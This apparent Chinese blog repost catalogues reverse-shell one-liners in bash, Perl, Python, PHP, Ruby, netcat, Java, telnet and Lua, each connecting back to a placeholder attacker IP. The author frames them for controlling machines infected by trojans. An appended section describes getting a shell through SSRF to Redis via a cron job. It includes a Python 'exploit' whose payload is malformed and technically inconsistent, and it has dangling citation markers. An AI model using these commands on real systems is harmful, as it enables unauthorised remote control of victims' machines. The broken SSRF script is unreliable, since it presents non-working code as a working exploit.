渗透-N种反弹shell方法

本文深入解析反弹Shell技术,包括其工作原理、应用场景及多种实现方式,如bash、Perl、Python等,适用于网络受限环境下的远程控制。

简介

       reverse shell反弹shell或者说反向shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

什么是反弹,为什么要反弹

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。

什么时候需要

l   某客户机中了你的网马,但是它在局域网内,你直接连接不了。它的ip会动态改变,你不能持续控制。

l   由于防火墙等限制,对方机器只能发送请求,不能接收请求。

l   对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

有哪些姿势

bash:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl 1:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl 2 不依赖/bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Perl 3 Windows:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Ruby Windows:

ruby -rsocket -e 'c=TCPSocket.new("123.123.123.123","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Ruby 不依赖 /bin/sh:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("123.123.123.123","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

NC:

nc -e /bin/sh 10.0.0.1 1234

有些版本的NC可能不支持-e选项

不能使用-e时

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java:

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

Telnet:

NC不可用或者/dev/tcp不可用时

mknod backpipe p && telnet 123.123.123.123 8080 0<backpipe | /bin/bash 1>backpipe

Lua:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

如何连接:

先在本地机器上执行:

nc –l –p 端口

然后在远程机器上执行上述反弹shell的代码即可,对方系统上安装什么了就用什么,没安装咱就上传一个。


 

补充一下:

关于 linux中的一个特殊文件: /dev/tcp   

有一个特殊的文件/dev/tcp,打开这个文件就类似于发出了一个socket调用建立一个socket连接读写这个文件就相当于在这个socket连接中传输数据。

 

转载于:https://www.cnblogs.com/-qing-/p/10841677.html

### SSRF 漏洞利用反弹 Shell 的技术细节 #### 一、SSRF漏洞概述 SSRF (Server-Side Request Forgery, 服务器端请求伪造)是一种安全漏洞,允许攻击者构造恶意请求,使应用程序向指定的URL发送HTTP请求。这种攻击通常用于访问内部网络资源或绕过防火墙限制[^4]。 #### 二、利用过程详解 当存在SSRF漏洞的应用程序能够与内网中的Redis服务通信时,可以通过以下方式实现反弹Shell: 1. **获取未授权访问权限** 如果目标环境内的Redis实例配置不当,默认情况下监听所有接口且无需密码验证,则可以直接连接并执行命令[^3]。 2. **设置持久化后门** 攻击者可利用`CONFIG SET dir /var/spool/cron/`指令改变默认保存路径至cron任务文件夹;再通过`CONFIG SET dbfilename root`创建名为root的新数据库文件,在其中植入恶意代码片段[^2]。 3. **触发反弹Shell行为** 将精心设计过的bash脚本作为定时作业写入上述位置,确保其每隔一段时间尝试建立反向外联通道指向攻击者的机器。例如: ```bash * * * * * bash -i >& /dev/tcp/yourip/6666 0>&1 ``` 4. **维持会话控制** 成功建立TCP连接之后便可以在受害主机上获得交互式的shell终端,进一步实施更多类型的渗透测试活动[^1]。 ```python import requests def exploit_ssrf(redis_ip, attacker_ip, port=6666): payload = f"*1\r\n$8\r\nFLUSHALL\r\n*3\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\ndir\r\n$5\r\n/var/\r\nspool/cron/\r\n*3\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$9\r\ndbfilename\r\n$4\r\nroot\r\n*2\r\n$4\r\nAUTH\r\n$7\r\npassword\r\n*2\r\n$4\r\nEVAL\r\n\"os.execute('echo \"* * * * * bash -i >& /dev/tcp/{attacker_ip}/{port} 0>&1\">>/var/spool/cron/root')\"\r\n" headers = {"Content-Type": "application/x-www-form-urlencoded"} data = {'data':payload} try: response = requests.post(f"http://{redis_ip}:6379",headers=headers,data=data) print(response.status_code) except Exception as e: print(e) exploit_ssrf("internal.redis.server","external.attacker.ip") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值